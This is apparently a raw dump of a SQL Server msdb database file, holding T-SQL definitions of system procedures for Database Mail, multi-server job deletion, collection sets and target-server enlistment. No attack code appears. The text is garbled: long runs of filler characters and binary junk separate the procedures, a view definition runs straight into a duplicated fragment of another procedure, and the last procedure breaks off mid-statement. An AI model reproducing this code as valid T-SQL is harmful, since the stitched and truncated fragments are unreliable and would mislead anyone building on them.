!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<B*E-',0 \8-- Processes messages from the external mail queue
--
CREATE PROCEDURE [dbo].[sp_ExternalMailQueueListener]
AS
BEGIN
    DECLARE 
        @mailitem_id        INT,
        @sent_status        INT,
        @sent_account_id    INT,
        @rc                 INT,
        @processId          INT,
        @sent_date          DATETIME,
        @localmessage       NVARCHAR(max),
        @conv_handle        uniqueidentifier,
       @message_type_name  NVARCHAR(256),
       @xml_message_body   NVARCHAR(max),
        @LogMessage         NVARCHAR(max)

    -- Table to store message information.
    DECLARE @msgs TABLE
    (
        [conversation_handle]   uniqueidentifier,
       [message_type_name]     nvarchar(256),
       [message_body]          varbinary(max)
    )

    --RECEIVE messages from the external queue. 
    --MailItem status messages are sent from the external sql mail process along with other SSB notifications and errors
    ;RECEIVE conversation_handle, message_type_name, message_body FROM InternalMailQueue INTO @msgs
    -- Check if there was some error in reading from queue
    SET @rc = @@ERROR
    IF (@rc <> 0)
    BEGIN
        --Log error and continue. Don't want to block the following messages on the queue
        SET @localmessage = FORMATMESSAGE(@@ERROR)
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=3, @description=@localmessage

        GOTO ErrorHandler;
    END
   
    -----------------------------------
    --Process sendmail status messages
    SELECT 
        @conv_handle        = conversation_handle,
        @message_type_name  = message_type_name, 
		@xml_message_body   = CAST(message_body AS NVARCHAR(MAX))
    FROM @msgs 
    WHERE [message_type_name] = N'{//www.microsoft.com/databasemail/messages}SendMailStatus'

    IF(@message_type_name IS NOT NULL)
    BEGIN
        --
        --Expecting the xml body to be n the following form:
        --
        --<?xml version="1.0" encoding="utf-16"?>
        --<responses:SendMail xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://schemas.microsoft.com/databasemail/responses ResponseTypes.xsd" xmlns:responses="http://schemas.microsoft.com/databasemail/responses">
        --<Information>
        --    <Failure Message="THe error message...."/>
        --</Information>
        --<MailItemId Id="1" />
        --<SentStatus Status="3" />
        --<SentAccountId Id="0" />
        --<SentDate Date="2005-03-30T14:55:13" />
        --<CallingProcess Id="3012" />
        --</responses:SendMail>

        DECLARE @xmlblob xml
        SET  @xmlblob = CONVERT(xml, @xml_message_body)

        SELECT  @mailitem_id = MailResponses.Properties.value('(MailItemId/@Id)[1]', 'int'),
                @sent_status = MailResponses.Properties.value('(SentStatus/@Status)[1]', 'int'),
                @sent_account_id = MailResponses.Properties.value('(SentAccountId/@Id)[1]', 'int'),
                @sent_date = MailResponses.Properties.value('(SentDate/@Date)[1]', 'DateTime'),
                @processId = MailResponses.Properties.value('(CallingProcess/@Id)[1]', 'int'),
                @LogMessage = MailResponses.Properties.value('(Information/Failure/@Message)[1]', 'NVARCHAR(max)')
        FROM @xmlblob.nodes('
        declare namespace responses="http://schemas.microsoft.com/databasemail/responses";
        /responses:SendMail') 
        AS MailResponses(Properties) 

        IF(@mailitem_id IS NULL)
        BEGIN  
            --Log error and continue. Don't want to block the following messages on the queue by rolling back the tran
            SET @localmessage = FORMATMESSAGE(14652, CONVERT(NVARCHAR(50), @conv_handle), @message_type_name, @xml_message_body)
            exec msdb.dbo.sysmail_logmailevent_sp @event_type=3, @description=@localmessage
        END      
        ELSE
        BEGIN
            -- check sent_status is valid : 0(PendingSend), 1(SendSuccessful), 2(SendFailed), 3(AttemptingSendRetry)
            IF(@sent_status NOT IN (1, 2, 3))
            BEGIN
                SET @localmessage = FORMATMESSAGE(14653, N'SentStatus', CONVERT(NVARCHAR(50), @conv_handle), @message_type_name, @xml_message_body)
                exec msdb.dbo.sysmail_logmailevent_sp @event_type=2, @description=@localmessage

                --Set value to SendFailed
                SET @sent_status = 2
            END

            --Make the @sent_account_id NULL if it is 0. 
            IF(@sent_account_id IS NOT NULL AND @sent_account_id = 0)
                SET @sent_account_id = NULL

            --
            -- Update the mail status if not a retry. Nothing else needs to be done in this case
            UPDATE sysmail_mailitems
            SET sent_status     = CAST (@sent_status as TINYINT),
                sent_account_id = @sent_account_id,
                sent_date       = @sent_date
            WHERE mailitem_id = @mailitem_id
        
            -- Report a failure if no record is found in the sysmail_mailitems table
            IF (@@ROWCOUNT = 0)
            BEGIN
                SET @localmessage = FORMATMESSAGE(14653, N'MailItemId', CONVERT(NVARCHAR(50), @conv_handle), @message_type_name, @xml_message_body)
                exec msdb.dbo.sysmail_logmailevent_sp @event_type=3, @description=@localmessage
            END

            IF (@LogMessage IS NOT NULL)
            BEGIN
                exec msdb.dbo.sysmail_logmailevent_sp @event_type=3, @description=@LogMessage, @process_id=@processId, @mailitem_id=@mailitem_id, @account_id=@sent_account_id
            END
        END
    END

    -------------------------------------------------------
    --Process all other messages by logging to sysmail_log
    SET @conv_handle = NULL;
    
    --Always end the conversion if this message is received
    SELECT @conv_handle = conversation_handle
    FROM @msgs 
    WHERE [message_type_name] = N'http://schemas.microsoft.com/SQL/ServiceBroker/EndDialog'
    
    IF(@conv_handle IS NOT NULL)
    BEGIN
        END CONVERSATION @conv_handle;
    END

    DECLARE @queuemessage nvarchar(max)
    DECLARE queue_messages_cursor CURSOR LOCAL 
    FOR
        SELECT FORMATMESSAGE(14654, CONVERT(NVARCHAR(50), conversation_handle), message_type_name, message_body)
        FROM @msgs 
        WHERE [message_type_name] 
              NOT IN (N'http://schemas.microsoft.com/SQL/ServiceBroker/EndDialog',
                      N'{//www.microsoft.com/databasemail/messages}SendMailStatus')
  
    OPEN queue_messages_cursor 
    FETCH NEXT FROM queue_messages_cursor INTO @queuemessage
    WHILE (@@fetch_status = 0)
    BEGIN
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=2, @description=@queuemessage
        FETCH NEXT FROM queue_messages_cursor INTO @queuemessage
    END
    CLOSE queue_messages_cursor 
    DEALLOCATE queue_messages_cursor 

    -- All done OK
    goto ExitProc;

    -----------------
    -- Error Handler
    -----------------
ErrorHandler:

    ------------------
    -- Exit Procedure
    ------------------
ExitProc:
    RETURN (@rc)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`,
<*	묯0<7$WpM1C>/<A;&;A;--AnC@@@@s{h	 7Ne|4Kby1H_v.E\@???@?@?@??????@?@?A?"@?)@?,@?.@?1@?2@?3@?6@@?7@?:@?;@?<@?@@?A@?C@@?D@?E??G??H@?IA?J A?K@?N@?R@@?U@?Z@?[@?\@?]@@@@@@_@@@a@A?b0A?Xv0A0A0A<8zA?u\{@?|0<8 "0<8"0<9 "0<:$	>C2=@A?@T,@`A?@?@@?0<:$	>>C2=C2=-d
CA?@-dC@T,@`A?@?@@?0<: "0<; "0<:$s{[?.:=-dCA-dCx	
`Ry>0@?%DEFAULT0??http://schemas.microsoft.com/SQL/Notifications/EventNotification0???http://schemas.microsoft.com/SQL/Notifications/PostEventNotification0???http://schemas.microsoft.com/SQL/Notifications/QueryNotification0???http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice0???http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/FailedRoute0???http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/MissingRoute0???http://schemas.microsoft.com/SQL/ServiceBroker/EndDialog0???http://schemas.microsoft.com/SQL/ServiceBroker/ServiceBroker0???http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Description0???http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Status0???http://schemas.microsoft.com/SQL/ServiceBroker/ServiceEcho/Echo((DEFAULThttp://schemas.microsoft.com/SQL/Notifications/EventNotificationServicePostQueryNotificationQueryNotificationServiceServiceurationNotice/FailedRemoteServiceBindingrationNotice/MissingRemoteServiceBindingBroker/DialogTimerErrorServiceDiagnostic/QueryEcho@@!(6Nc@{@
((0<: "0<:$t{[?@A@'A?0<: "0<:$t{[*?%I=@A@@Wn@@?@@@@@@@@@@???????
??????!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?n	c`<MBYb0N$ 8CREATE PROCEDURE sp_delete_all_msx_jobs
  @msx_server   sysname,
  @jobs_deleted INT = NULL OUTPUT
AS
BEGIN
  SET NOCOUNT ON

  -- Change server name to always reflect real servername or servername\instancename
  IF (UPPER(@msx_server collate SQL_Latin1_General_CP1_CS_AS) = '(LOCAL)')
    SELECT @msx_server = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))

  -- Delete all the jobs that originated from the MSX
  -- Note: This temp table is referenced by msdb.dbo.sp_delete_job_references
  CREATE TABLE #temp_jobs_to_delete (job_id UNIQUEIDENTIFIER NOT NULL, job_is_cached INT NOT NULL, owner_sid VARBINARY(85) NOT NULL)

  -- Table of msx schedules to delete
  DECLARE @temp_schedules_to_delete TABLE (schedule_id INT NOT NULL)  

  -- Non-sysadmins can only delete jobs they own. sysjobs_view returns all jobs
  -- for members of SQLAgentReaderRole and SQLAgentOperatorRole, but they should
  -- not be able to delete those jobs
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1))
  BEGIN
   -- NOTE: The left outer-join here is to handle the [unlikely] case of missing sysjobservers rows
   INSERT INTO #temp_jobs_to_delete
   SELECT sjv.job_id, 
         CASE sjs.server_id WHEN 0 THEN 1 ELSE 0 END,
         sjv.owner_sid
   FROM msdb.dbo.sysjobs_view sjv
      LEFT OUTER JOIN msdb.dbo.sysjobservers sjs ON (sjv.job_id = sjs.job_id)
   WHERE (ISNULL(sjs.server_id, 0) = 0)
      AND (sjv.originating_server = @msx_server)
  END
  ELSE
  BEGIN
   -- NOTE: The left outer-join here is to handle the [unlikely] case of missing sysjobservers rows
   INSERT INTO #temp_jobs_to_delete
   SELECT sjv.job_id, 
         CASE sjs.server_id WHEN 0 THEN 1 ELSE 0 END,
         sjv.owner_sid
   FROM msdb.dbo.sysjobs_view sjv
      LEFT OUTER JOIN msdb.dbo.sysjobservers sjs ON (sjv.job_id = sjs.job_id)
   WHERE (ISNULL(sjs.server_id, 0) = 0)
      AND (sjv.originating_server = @msx_server)
      AND (sjv.owner_sid = SUSER_SID())
  END

  -- Must do this before deleting the job itself since sp_sqlagent_notify does a lookup on sysjobs_view
  EXECUTE msdb.dbo.sp_delete_job_references

  BEGIN TRANSACTION

    --Get the list of schedules to delete, these cant be deleted until the references are deleted in sysjobschedules
    INSERT INTO @temp_schedules_to_delete
    SELECT DISTINCT schedule_id 
    FROM   msdb.dbo.sysschedules
    WHERE (schedule_id IN 
            (SELECT schedule_id
            FROM msdb.dbo.sysjobschedules as js
           JOIN #temp_jobs_to_delete as tjd ON (js.job_id = tjd.job_id)))

    DELETE FROM msdb.dbo.sysjobschedules
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)

    --Now OK to delete the schedule
    DELETE FROM msdb.dbo.sysschedules
    WHERE schedule_id IN 
    (SELECT schedule_id
        FROM @temp_schedules_to_delete)
    
    DELETE FROM msdb.dbo.sysjobservers
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)
    
    DELETE FROM msdb.dbo.sysjobsteps
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)

    DELETE FROM msdb.dbo.sysjobs
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)

    DELETE FROM msdb.dbo.sysjobhistory
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)

   --Finally cleanup any orphaned sysschedules that were downloaded from the MSX
   DELETE msdb.dbo.sysschedules
   FROM msdb.dbo.sysschedules s
      JOIN msdb.dbo.sysoriginatingservers_view os ON (s.originating_server_id = os.originating_server_id)
   WHERE (os.originating_server = @msx_server)

  COMMIT TRANSACTION

  SELECT @jobs_deleted = COUNT(*)
  FROM #temp_jobs_to_delete

  DROP TABLE #temp_jobs_to_delete
END
0	*p@ 8CREATE PROCEDURE [dbo].[sp_syscollector_verify_collection_set]
    @collection_set_id        int = NULL OUTPUT,
    @name                    sysname = NULL OUTPUT
AS
BEGIN
    IF (@name IS NOT NULL)
    BEGIN
        -- Remove any leading/trailing spaces from parameters
        SET @name =            NULLIF(LTRIM(RTRIM(@name)), N'')
    END

    IF (@collection_set_id IS NULL AND @name IS NULL)
    BEGIN
        RAISERROR(14624, -1, -1, '@collection_set_id, @name')
        RETURN(1)
    END

    IF (@collection_set_id IS NOT NULL AND @name IS NOT NULL)
    BEGIN
        IF (NOT EXISTS(SELECT *
                        FROM dbo.syscollector_collection_sets
                        WHERE collection_set_id = @collection_set_id
                        AND name = @name))
        BEGIN
            DECLARE @errMsg NVARCHAR(196)
            SELECT @errMsg = CONVERT(NVARCHAR(36), @collection_set_id) + ', ' + @name
            RAISERROR(14262, -1, -1, '@collection_set_id, @name', @errMsg)
            RETURN(1)
        END
    END
    -- Check id
    ELSE IF (@collection_set_id IS NOT NULL)
    BEGIN
        SELECT @name = name
        FROM dbo.syscollector_collection_sets
        WHERE (collection_set_id = @collection_set_id)
    
        -- the view would take care of all the permissions issues.
        IF (@name IS NULL) 
        BEGIN
            DECLARE @collection_set_id_as_char VARCHAR(36)
            SELECT @collection_set_id_as_char = CONVERT(VARCHAR(36), @collection_set_id)
            RAISERROR(14262, -1, -1, '@collection_set_id', @collection_set_id_as_char)
            RETURN(1) -- Failure
        END
    END
    -- Check name
    ELSE IF (@name IS NOT NULL)
    BEGIN
        -- get the corresponding collection_set_id (if the collection set exists)
        SELECT @collection_set_id = collection_set_id
        FROM dbo.syscollector_collection_sets
        WHERE (name = @name)

        -- the view would take care of all the permissions issues.
        IF (@collection_set_id IS NULL)
        BEGIN
            RAISERROR(14262, -1, -1, '@name', @name)
            RETURN(1) -- Failure
        END
    END
    RETURN (0)
END
0% 8CREATE VIEW dbo.sysutility_ucp_aggregated_mi_health 
AS
SELECT t.mi_count
	   , t.mi_healthy_count
	   , t.mi_unhealthy_count
	   , t.mi_over_utilize_count
	   , t.mi_under_utilize_count
	   , t.mi_on_over_utilized_computer_count
	   , t.mi_on_under_utilized_computer_count
	   , t.mi_with_files_on_over_utilized_volume_count
	   , t.mi_with_files_on_under_utilized_volume_count
	   , t.mi_with_over_utilized_file_count
	   , t.mi_with_under_utilized_file_count
	   , t.mi_with_over_utilized_processor_count
	   , t.mi_with_under_utilized_processor_count
FROM msdb.dbo.sysutility_ucp_aggregated_mi_health_internal AS t
WHERE t.set_number = (SELECT latest_health_state_id FROM [msdb].[dbo].[sysutility_ucp_processing_state_internal])
SELECT @collection_set_id_as_char = CONVERT(VARCHAR(36), @collection_set_id)
            RAISERROR(14262, -1, -1, '@collection_set_id', @collection_set_id_as_char)
            RETURN(1) -- Failure
        END
    END
    -- Check name
    ELSE IF (@name IS NOT NULL)
    BEGIN
        -- get the corresponding collection_set_id (if the collection set exists)
        SELECT @collection_set_id = collection_set_id
        FROM dbo.syscollector_collection_sets
        WHERE (name = @name)

        -- the view would take care of all the permissions issues.
        IF (@collection_set_id IS NULL)
        BEGIN
            RAISERROR(14262, -1, -1, '@name', @name)
            RETURN(1) -- Failure
        END
    END
    RETURN (0)
END
09 8CREATE PROCEDURE dbo.sp_sysdac_ensure_dac_creator
as
BEGIN
    -- only users that can create a dac can add parts
    IF (dbo.fn_sysdac_is_dac_creator() != 1)
    BEGIN
        RAISERROR(36010, -1, -1);
        RETURN(1); -- failure
    END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`j<UNw"0Oj I8
create proc sp_enlist_tsx
   @Action int,            -- 0 - enlist; 1 - defect; 2 - update
   @ServerName  sysname,      -- tsx server name
   @Location  nvarchar(200),  -- tsx server location
   @TimeZoneAdjustment int,   -- tsx server time zone adjustment
   @LocalTime datetime,    -- tsx server local time
   @NTUserName nvarchar(100), -- name of the user performing the enlistment
   @PollInterval int,          -- polling interval
    @TSX_Version int = 0        -- VersionMajor: ((@TSX_Version / 0x1000000) & 0xff)
                                -- VersionMinor: ((@TSX_Version / 0x10000) & 0xff)
                                -- Build no:      (@TSX_Version & 0xFFFF)
as
begin
   SET NOCOUNT ON

   /* check permissions */
   IF (ISNULL(IS_MEMBER(N'TargetServersRole'), 0) = 0) AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 0)
   begin
   raiserror(15003,-1,-1, N'TargetServersRole')
   return 1
   end

   --9.0 and above servers set this version param
   if(@TSX_Version is null)
      set @TSX_Version = 0

   --Only check version during enlistment
   if(@Action = 0 AND ((@TSX_Version / 0x1000000) & 0xff) < 9)
   begin
      DECLARE @majorVer int, @minorVer int, @buildNo int
      SELECT @majorVer = ((@@microsoftversion / 0x1000000) & 0xff),
             @minorVer = ((@@microsoftversion / 0x10000) & 0xff),
             @buildNo = (@@microsoftversion & 0xfff)

      raiserror(14306, -1, -1, @majorVer, @minorVer, @buildNo )
      return 12
   end

   /* check input parameters */
   if @ServerName is null
   begin
   raiserror(14043, -1, -1, '@ServerName')
   return 2
   end

   select @ServerName = LTRIM(@ServerName)
   select @ServerName = RTRIM(@ServerName)
   if @ServerName = ''
   begin
   raiserror(21263, -1, -1, '@ServerName')
   return 3
   end

   select @ServerName = UPPER(@ServerName)

   if @Action <> 1 And @Action <> 2
   begin
   /* default action is to enlist */
   select @Action = 0
   end

  if @Action = 0 /* enlisting */
  begin
   /* check input parameters */
   if @NTUserName is null
   begin
      raiserror(14043, -1, -1, '@NTUserName')
      return 4
   end

   select @NTUserName = LTRIM(@NTUserName)
   select @NTUserName = RTRIM(@NTUserName)
   if @NTUserName = ''
   begin
     raiserror(21263, -1, -1, '@NTUserName')
     return 5
   end

   /* check if local server is already configured as TSX machine */
   declare @msx_server_name sysname
   select @msx_server_name = N''

   execute master.dbo.xp_instance_regread 
      N'HKEY_LOCAL_MACHINE',
      N'Software\Microsoft\MSSQLServer\SQLServerAgent',
      N'MSXServerName',
      @msx_server_name OUTPUT

   select @msx_server_name = LTRIM(@msx_server_name)
   select @msx_server_name = RTRIM(@msx_server_name)
   if @msx_server_name <> N''
   begin
      raiserror(14360, -1, -1, @@SERVERNAME)
      return 6
   end

   /* 
   * check that local server is not running a desktop SKU, 
   * i.e. Win9x, Office, or MSDE
   */
   if( PLATFORM() & 0x100 = 0x100 )
   begin
      raiserror(14362, -1, -1)
      return 8
   end

   /* check if we have any MSXOperators defined */
   if not exists (SELECT * FROM msdb.dbo.sysoperators WHERE name = N'MSXOperator')
   begin
      raiserror(14363, -1, -1)
      return 9
   end

   /* all checks have passed, insert new row into systargetservers table */
   INSERT INTO msdb.dbo.systargetservers 
   (
   server_name, 
   location, 
   time_zone_adjustment, 
   enlist_date, 
   last_poll_date, 
   status, 
   local_time_at_last_poll, 
   enlisted_by_nt_user, 
   poll_interval
   ) 
   VALUES 
   (
   @ServerName, 
   @Location, 
   @TimeZoneAdjustment, 
   GETDATE(), 
   GETDATE(), 
   1, 
   @LocalTime, 
   @NTUserName, 
   @PollInterval
   )

   /* delete hanging rows from sysdownloadlist */
   DELETE FROM msdb.dbo.sysdownloadlist 
   WHERE target_server = @ServerName
   end

   if @Action = 2 /* updating existing enlistment */
   begin
   /* check if we have any MSXOperators defined */
   if not exists (SELECT * FROM msdb.dbo.sysoperators WHERE name = N'MSXOperator')
   begin
      raiserror(14363, -1, -1)
      return 10
   end

   /* check if TSX machine is already enlisted */
   If not exists (SELECT * FROM msdb.dbo.systargetservers WHERE UPPER(server_name) = @ServerName)
   begin
      raiserror(14364, -1, -1)
      return 11
   end

   if @Location is null /* don't update the location if it is not supplied */
   begin
      UPDATE msdb.dbo.systargetservers SET 
      time_zone_adjustment = @TimeZoneAdjustment, 
      poll_interval = @PollInterval
      WHERE (UPPER(server_name) = @ServerName)
   end
   else
   begin
      UPDATE msdb.dbo.systargetservers SET 
      location = @Location, 
      time_zone_adjustment = @TimeZoneAdjustment, 
      poll_interval = @PollInterval
      WHERE (UPPER(server_name) = @ServerName)
   end
   end

  if @Action = 1 /* defecting */
  begin
   if (exists (SELECT * FROM msdb.dbo.systargetservers WHERE UPPER(server_name) = @ServerName)) 
   begin
      execute msdb.dbo.sp_delete_targetserver 
         @server_name = @ServerName, 
         @post_defection = 0 
   end
   else
   begin
      DELETE FROM msdb.dbo.sysdownloadlist 
